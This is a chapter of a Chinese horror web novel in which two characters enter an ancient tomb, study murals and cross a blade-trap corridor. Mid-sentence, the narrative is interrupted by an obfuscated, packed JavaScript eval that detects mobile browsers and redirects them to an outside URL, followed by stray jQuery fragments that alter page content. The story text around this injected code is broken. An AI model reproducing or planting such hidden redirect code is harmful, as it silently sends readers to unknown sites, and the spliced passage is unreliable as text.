54. 夜嫁(九)

作品:《前男友是无限流boss

    石门又厚又重,并不能完全打开。


    两人好不容易将它推开一道口子。


    沉闷污浊的空气扑面而来,带了浓重的腐臭味,那味道掩盖了另一种味道。


    她仔细分辨了一会,才发现那是淡淡的咸味。


    老叶先挤了进去,阮思甜随后跟了进去。


    而当她的脚踏入门后的土地,系统冰冷的声音一下子在她脑海中响起。


    “任务已刷新,请在三天内找到阿尔迦的遗体。”


    阮思甜的脚步微顿。


    片刻后,她毫不犹豫地往前走去。


    而当他们踏入门后的这条墓道时,身后的门自动合拢,彻底断绝他他们回头的路。


    而前方石壁两侧,精致的羊角壁灯一盏接一盏地自动燃起,为他们照亮前路,彷佛是有什么人正无声地迎接他们的到来。


    但阮思甜很清楚,不可能有活人迎接他们。


    这是一座数千年前的古墓,是属于亡者的世界。


    笔记里的话语浮现在她的脑海中。


    地狱之门。


    它来了。


    丝丝缕缕的寒意从心底浮现。


    它是谁?而那些人又到底为何死在门外?


    这些疑问盘桓在她的心中。


    阮思甜开口:“你来过一次,应该知道阿尔迦安葬在哪里吧?”


    老叶点了点头:“知道,我会带你过去。”


    说完向阮思甜展示了羊皮卷上的相应部分。


    “从这里往前走,一直到底,会到达第一个墓室。”


    “但这只是这座墓的前室,里面安葬的另有其人,阿尔迦的在后面的主墓室中。”


    说完后,两人开始朝前方走去。


    这里的通道还算宽敞,两侧的石壁微潮,墙底长着一些类似青苔的植物。


    和井壁上的一样。


    它们散发出淡淡的味道。


    走着走着,两侧的墙上开始出现壁画,老叶放慢了速度。


    阮思甜也开始观察起它们。


    第一幅画,画的是一支长长的队伍行走在沙海之中。


    为首的是一个一身白衣的少女,她的脸被白纱遮挡,看不清五官,但身形窈窕,气质出众,一望而知非等闲人物。


    在第二幅画中,在日落时分,他们即将抵达一座华丽的城池。


    这座城想必就是传说中的迦楼城。


    城中人倾巢而出,在街头载歌载舞,热情地欢迎着远道而来的贵客。


    城楼上站着一道高大的身影。


    他身着金色的华贵长袍,头戴金冠,同样看不清他的脸。


    但从构图的角度,以及壁画要传达的意思来看,他应当是在看着城门外的远方来客。


    更准确地说,他其实看得只有一个人。


    只是那个人而已!


    阮思甜的目光不自觉在他身上停留。


    她想起了大殿中那一幕。


    片刻后,她收回思绪,继续前行。


    可能是一直在地下的缘故,这些壁画相对来说保存得很好,虽然色彩已不如初时明艳,人物的面目也变得模糊,但他们的动作依然十分生动。


    之后的部分详尽地描画了城中的风物,以及迦楼人的欢庆场景。


    人们围着点燃的篝火狂欢,尽情地舞蹈,而拿着笛子和胡琴的乐师在边上伴奏。


    他们的舞蹈不算复杂,沿着某种特定的步调而行,看起来十分欢悦且有感染力。


    独属于另一个时空的热闹和喧嚣,似永远被定格在那一幕。


    老叶很快看完了笔画,他在等阮思甜。


    阮思甜转身,对他点了点头。


    于是两人继续往前走去。


    不知道是不是错觉,她好像听到身后响起另一道脚步声。


    很轻很轻,几乎没有重量。


    对方的脚步踩在她的步子上,无声无息地重叠。


    它来了。阮思甜又想起了这句话。


    阴冷感一阵一阵弥漫,幽幽的寒气针扎似的刺入肌肤。


    右边墙壁上有一道被拉长的影子。


    那高到怪异的影子弯下腰,正不停靠近她的影子。


    似即将覆盖。


    阮思甜攥紧了手心,那张符文不知是否有效。


    正要反击时,墙上的灯光闪了闪,那道怪异的影子一下子消失不见。


    另一种无声的重量覆盖而来。


    她渐渐察觉,那是一道视线。


    那目光不知从何而来,有种说不出的阴郁感,它死死地黏在她的身上,彷佛隔着万水千山也无法甩脱!


    该怎么形容呢?


    那视线里其实没有阴毒的恶意,但有一种更让她心底发毛的感觉。


    它是冷的,还有点淡淡的湿意,让她想起了初春时分的雨。


    雨水一点一点浸润身上那薄薄的旗袍,像是要透过柔软的布料,滑入旗袍下温热的肌肤上。


    明明很凉,却又离奇地让皮肤隐隐发烫,连她自己都说不上来是为什么!


    一道急促的呼吸传来,似近在耳畔,又远在天边。


    紧接着,雨水像一张网一样渐渐收紧,勒得她快要喘不过气来……


    她打了个冷颤,飞快回头,那种被盯上的感觉骤然消散。


    *


    阮思甜远远地打量着第二幅壁画。


    只见高耸的城楼上,那道华贵的身影早已消逝不见。


    她在周围的笔画上找了找,也没找到那道身影。


    阮思甜开口叫住了老叶,“等等,你看这里。”


    老叶一脸纳闷地转身,“怎么了?有什么问题吗?”


    阮思甜道:“这里本来站着个疑似迦楼城主的人,但我一转头发现他不见了。”


    听完她的话,老叶一脸无语,“这里一直没有人。”


    生怕她不信,他又补充了一句,“十几年前就没有。”


    怎么回事?


    吃毒蘑菇吃出幻觉了吗?


    当然,这里没有毒蘑菇,不过有另一种植物。


    她瞥了一眼墙角那青苔一样的东西。


    从进入井后的一系列事件来看,怎么看怎么像遭遇了超自然事件。


    也不排除另一种可能。


    那就是这玩意看似无害,实则有致幻的成分,只要吸入它的味道,人就会不知不觉中产生力气的幻觉。


    哈,这么一想倒是有种走近科学的味道!


    阮思甜自嘲一笑。


    最后,她的目光停留在了老叶身上。


    其实还有一种可能,那就是眼前的人在撒谎。


    老叶察觉到了她的想法,但他没有辩解。


    他清楚地知道,人心中的怀疑一旦产生,就很难消解,说再多不过是白费力气。


    两人又往前走了几步。


    通道明显在变窄。


    终于,他们在某一处停下了脚步。


    老叶道:“前面有机关。”


    阮思甜看了看,问道:“什么样的机关?”


    看着平平无奇的一条路,顶多是地面铺了些彩绘的地砖,显得花里胡哨了些。


    她仔细看了看那些转,上面的图案复古且繁复,和第三幅壁画中的某些图案极其类似。


    老叶道:“墙里内置了钢刀,踩错点的话,里面的刀刃会弹出来,把人捅成千疮百孔的筛子。”


    阮思甜感叹了一句,“可真是凶险!”


    老叶附和了一句:“是啊,的确防不胜防。”


    随即他说道:“阮小姐,刚才那些壁画看清楚了吧?古迦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329627|193275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楼人会在节庆或者重要的时刻跳舞庆祝,他们的舞步并不复杂,只要按那步调来走,就可以安全地走出这条通道。”


    阮思甜笑着看了他一眼,眼中却有几分冷意,“为什么之前不提醒我?你就笃定我一定会注意到,且分毫不错地记下?”


    老叶也笑了,笑得和平时没什么不同,“我相信阮小姐不会让我失望的。”


    阮思甜明白了他的意思。


    看不清,记不住,那接下来死也就死了。


    “对了,男女的舞步不同,这片通道能感应出来,可千万不要搞错。”


    似乎是为了弥补她方才的不满,他很好心地提醒了一句。


    阮思甜越发无语,不过她没再说什么,“知道了。”


    老叶先一步走上前。


    他的左脚先是踩在了一块红色的花砖上,随后右脚又轻盈地落在了另一块绿砖上。


    再之后,转身侧步……


    一套动作下来,行云流水,甚至可以说得上是优美。


    墙壁上传来几声“咔哒”声,但是并没有钢刀弹出。


    他安全地走到了对面。


    老叶回头,远远道:“阮小姐,看清了吗?”


    阮思甜道:“看清了。”


    心中却想,如果这人骗她,那她岂不是要葬身于此?


    虽然如此,试上一试倒也无妨。


    她闭上眼睛,在脑子里把那套动作预演了一遍。


    接着,她睁开眼睛,迈出了第一步。


    *


    绿砖之上响起轻微的声音,再之后是红砖。


    脚踩地面的同时,她眼观四方,时刻留意周围。


    这一部分的墙壁看着较为粗糙,而不远处的头顶黑乎乎的,像是有一个洞口。


    很快,她走完了一半的路程,而一切看起来非常顺利。


    结果意外就这么发生了。


    一块小石子竟毫无预兆地掉了下来,远在她能够到的范围内,而手头也没有任何东西可以击打那石头,让它改变轨迹。


    【我去!这是什么运气!】


    【灵媒“光环”启动!】


    【好惨,这下要被砍成肉泥了!】


    刹那间,阮思甜用飞一般的速度向前猛冲,身后的钢刀相继从墙内狠狠弹出,铮铮有声。


    跑出数步后,她一脚蹬地,另一脚飞快踩着右侧墙壁,借力向头顶一跃。


    就在钢刀即将刺中她时,她猛地探出双手,攀上那洞口边缘,眨眼间翻进洞中。


    而就在她的双腿从洞口消失的刹那,底下的钢刀密密麻麻地交错合拢。


    【!!!这也行!】


    【好险好险!这npc可以啊!反应速度和身手都很绝!】


    老叶看了看消失的阮思甜,又看了看那一堆刀子底下的小石子,一时竟不知道该说什么。


    “阮小姐,你还好吗?”


    “还行,勉强活着!”


    这话问的!她像是还好的样子吗?


    阮思甜在心底吐槽了一句。


    洞里黑漆漆的,她蹲在地上,打开了手机。


    灯光亮起的刹那,一道红影出现在眼前。


    那是一个穿着红裙子的小女孩,她的怀中抱着一只白娃娃。


    那娃娃浑身破破烂烂,四肢关节处乃至脖子与头颅间,都是以细线缝合而成的。


    而再看那小女孩,竟也是如此……


    阮思甜浑身一僵,慢慢地转过头。


    那女孩正歪着头打量她。


    见状,她缝补过的嘴角露出了一丝诡异的笑容。


    半明半暗中,那嘴越咧越大,露出黑洞洞的口腔,同时一只惨白发青的小手也缓缓伸出。


    阮思甜瞬间看清,对方手中握着的,竟然是几颗小石子!